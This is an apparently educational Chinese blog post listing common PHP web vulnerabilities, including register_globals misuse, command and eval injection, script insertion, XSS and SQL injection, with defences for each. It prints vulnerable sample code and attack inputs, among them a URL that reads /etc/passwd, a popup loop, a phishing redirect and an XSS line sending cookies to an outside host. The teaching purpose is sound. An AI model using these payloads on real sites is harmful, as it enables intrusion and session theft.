PHP中常用漏洞

    技术2022-05-20  63

    PHP网页的安全性问题针对PHP的网站主要存在下面几种攻击方式:1.命令注入(Command Injection)2.eval注入(Eval Injection)3.客户端脚本攻击(Script Insertion)4.跨网站脚本攻击(Cross Site Scripting, XSS)5.SQL注入攻击(SQL injection)6.跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)7.Session 会话劫持(Session Hijacking)8.Session 固定攻击(Session Fixation)9.HTTP响应拆分攻击(HTTP Response Splitting)10.文件上传漏洞(File Upload Attack)11.目录穿越漏洞(Directory Traversal)12.远程文件包含攻击(Remote Inclusion)13.动态函数注入攻击(Dynamic Variable Evaluation)14.URL攻击(URL attack)15.表单提交欺骗攻击(Spoofed Form Submissions)16.HTTP请求欺骗攻击(Spoofed HTTP Requests)几个重要的php.ini选项Register Globalsphp>=4.2.0,php.ini的register_globals选项的默认值预设为Off,当register_globals的设定为On时,程序可以接收来自服务器的各种环境变量,包括表单提交的变量,而且由于PHP不必事先初始化变量的值,从而导致很大的安全隐患.例1://check_admin()用于检查当前用户权限,如果是admin设置$is_admin变量为true,然后下面判断此变量是否为true,然后执行管理的一些操作//ex1.php<?phpif (check_admin()){         $is_admin = true;}if ($is_admin){         do_something();}?>这一段代码没有将$is_admin事先初始化为Flase,如果register_globals为On,那么我们直接提交 http://www.sectop.com/ex1.php?is_admin=true,就可以绕过check_admin()的验证例2://ex2.php<?phpif (isset($_SESSION["username"])){         do_something();}else{         echo "您尚未登录!";}?>当register_globals=On时,我们提交http://www.sectop.com/ex2.php?_SESSION[username]=dodo,就具有了此用户的权限所以不管register_globals为什么,我们都要记住,对于任何传输的数据要经过仔细验证,变量要初始化safe_mode安全模式,PHP用来限制文档的存取.限制环境变量的存取,控制外部程序的执行.启用安全模式必须设置php.ini中的safe_mode = On1.限制文件存取safe_mode_include_dir = "/path1:/path2:/path3"不同的文件夹用冒号隔开2.限制环境变量的存取safe_mode_allowed_env_vars = string指定PHP程序可以改变的环境变量的前缀,如:safe_mode_allowed_env_vars = PHP_ ,当这个选项的值为空时,那么php可以改变任何环境变量safe_mode_protected_env_vars = string用来指定php程序不可改变的环境变量的前缀3.限制外部程序的执行safe_mode_exec_dir = string此选项指定的文件夹路径影响system.exec.popen.passthru,不影响shell_exec和"` `".disable_functions = string不同的函数名称用逗号隔开,此选项不受安全模式影响magic quotes用来让php程序的输入信息自动转义,所有的单引号("'"),双引号("""),反斜杠("/")和空字符(NULL),都自动被加上反斜杠进行转义magic_quotes_gpc = On 用来设置magic quotes 为On,它会影响HTTP请求的数据(GET.POST.Cookies)程序员也可以使用addslashes来转义提交的HTTP请求数据,或者用stripslashes来删除转义命令注入攻击PHP中可以使用下列5个函数来执行外部的应用程序或函数system.exec.passthru.shell_exec.``(与shell_exec功能相同)函数原型string system(string command, int &return_var)command 要执行的命令 return_var 存放执行命令的执行后的状态值string exec (string command, array &output, int &return_var)command 要执行的命令 output 获得执行命令输出的每一行字符串 return_var 存放执行命令后的状态值void passthru (string command, int &return_var)command 要执行的命令 return_var 存放执行命令后的状态值string shell_exec (string command)command 要执行的命令漏洞实例例1://ex1.php<?php$dir = $_GET["dir"];if (isset($dir)){         echo "<pre>";         system("ls -al ".$dir);         echo "</pre>";}?>我们提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd提交以后,命令变成了 system("ls -al | cat /etc/passwd");eval注入攻击eval函数将输入的字符串参数当作PHP程序代码来执行函数原型:mixed eval(string code_str) //eval注入一般发生在攻击者能控制输入的字符串的时候//ex2.php<?php$var = "var";if (isset($_GET["arg"])){         $arg = $_GET["arg"];         eval("/$var = $arg;");         echo "/$var =".$var;}?>当我们提交 http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了动态函数<?phpfunc A(){         dosomething();}func B(){         dosomething();}if (isset($_GET["func"])){         $myfunc = $_GET["func"];         echo $myfunc();}?>程序员原意是想动态调用A和B函数,那我们提交http://www.sectop.com/ex.php?func=phpinfo 漏洞产生防范方法1.尽量不要执行外部命令2.使用自定义函数或函数库来替代外部命令的功能3.使用escapeshellarg函数来处理命令参数4.使用safe_mode_exec_dir指定可执行文件的路径esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号"'",替换成"/'",双引号""",替换成"/"",分号";"替换成"/;"用safe_mode_exec_dir指定可执行文件的路径,可以把会使用的命令提前放入此路径内safe_mode = Onsafe_mode_exec_di r= /usr/local/php/bin/客户端脚本植入客户端脚本植入(Script Insertion),是指将可以执行的脚本插入到表单.图片.动画或超链接文字等对象内.当用户打开这些对象后,攻击者所植入的脚本就会被执行,进而开始攻击.可以被用作脚本植入的HTML标签一般包括以下几种:1.<script>标签标记的javascript和vbscript等页面脚本程序.在<script>标签内可以指定js程序代码,也可以在src属性内指定js文件的URL路径2.<object>标签标记的对象.这些对象是java applet.多媒体文件和ActiveX控件等.通常在data属性内指定对象的URL路径3.<embed>标签标记的对象.这些对象是多媒体文件,例如:swf文件.通常在src属性内指定对象的URL路径4.<applet>标签标记的对象.这些对象是java applet,通常在codebase属性内指定对象的URL路径5.<form>标签标记的对象.通常在action属性内指定要处理表单数据的web应用程序的URL路径客户端脚本植入的攻击步骤1.攻击者注册普通用户后登陆网站2.打开留言页面,插入攻击的js代码3.其他用户登录网站(包括管理员),浏览此留言的内容4.隐藏在留言内容中的js代码被执行,攻击成功实例数据库Create TABLE `postmessage` (   `id` int(11) NOT NULL auto_increment,   `subject` varchar(60) NOT NULL default '',   `name` varchar(40) NOT NULL default '',   `email` varchar(25) NOT NULL default '',   `question` mediumtext NOT NULL,   `postdate` datetime NOT NULL default '0000-00-00 00:00:00',   PRIMARY KEY   (`id`)) ENGINE=MyISAM   DEFAULT CHARSET=gb2312 COMMENT='使用者的留言' AUTO_INCREMENT=69 ;//add.php 插入留言//list.php 留言列表//show.php 显示留言浏览此留言的时候会执行js脚本插入 <script>while(1){windows.open();}</script> 无限弹框插入<script>location.href="http://www.sectop.com";</script> 跳转钓鱼页面或者使用其他自行构造的js代码进行攻击防范的方法一般使用htmlspecialchars函数来将特殊字符转换成HTML编码函数原型string htmlspecialchars (string string, int quote_style, string charset)string 是要编码的字符串 quote_style 可选,值可为ENT_COMPAT ENT_QUOTES ENT_NOQUOTES,默认值ENT_COMPAT,表示只转换双引号不转换单引号.ENT_QUOTES,表示双引号和单引号都要转换.ENT_NOQUOTES,表示双引号和单引号都不转换 charset 可选,表示使用的字符集函数会将下列特殊字符转换成html编码:& ----> &" ----> "' ----> '< ----> <> ----> >把show.php的第98行改成<?php echo htmlspecialchars(nl2br($row['question']), ENT_QUOTES); ?>然后再查看插入js的漏洞页面xss跨站脚本攻击XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限.跨站脚本攻击的一般步骤:1.攻击者以某种方式发送xss的http链接给目标用户2.目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接3.网站执行了此xss攻击脚本4.目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息5.攻击者使用目标用户的信息登录网站,完成攻击当有存在跨站漏洞的程序出现的时候,攻击者可以构造类似 http://www.sectop.com/search.php?key=<script>document.location='http://www.hack.com/getcookie.php?cookie='+document.cookie;</script> ,诱骗用户点击后,可以获取用户cookies值防范方法:利用htmlspecialchars函数将特殊字符转换成HTML编码函数原型string htmlspecialchars (string string, int quote_style, string charset)string 是要编码的字符串 quote_style 可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默认值ENT_COMPAT,表示只转换双引号不转换单引号。ENT_QUOTES,表示双引号和单引号都要转换。ENT_NOQUOTES,表示双引号和单引号都不转换 charset 可选,表示使用的字符集函数会将下列特殊字符转换成html编码:& ----> &" ----> "' ----> '< ----> <> ----> >$_SERVER["PHP_SELF"]变量的跨站在某个表单中,如果提交参数给自己,会用这样的语句<form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST">......</form>$_SERVER["PHP_SELF"]变量的值为当前页面名称例:http://www.sectop.com/get.phpget.php中上述的表单那么我们提交http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>那么表单变成<form action="get.php/"><script>alert(document.cookie);</script>" method="POST">跨站脚本被插进去了防御方法还是使用htmlspecialchars过滤输出的变量,或者提交给自身文件的表单使用<form action="" method="post">这样直接避免了$_SERVER["PHP_SELF"]变量被跨站SQL注入攻击SQL注入攻击(SQL Injection),是攻击者在表单中提交精心构造的sql语句,改变原来的sql语句,如果web程序没有对提交的数据经过检查,那么就会造成sql注入攻击.SQL注入攻击的一般步骤:1.攻击者访问有SQL注入漏洞的网站,寻找注入点2.攻击者构造注入语句,注入语句和程序中的SQL语句结合生成新的sql语句3.新的sql语句被提交到数据库中进行处理4.数据库执行了新的SQL语句,引发SQL注入攻击


    最新回复(0)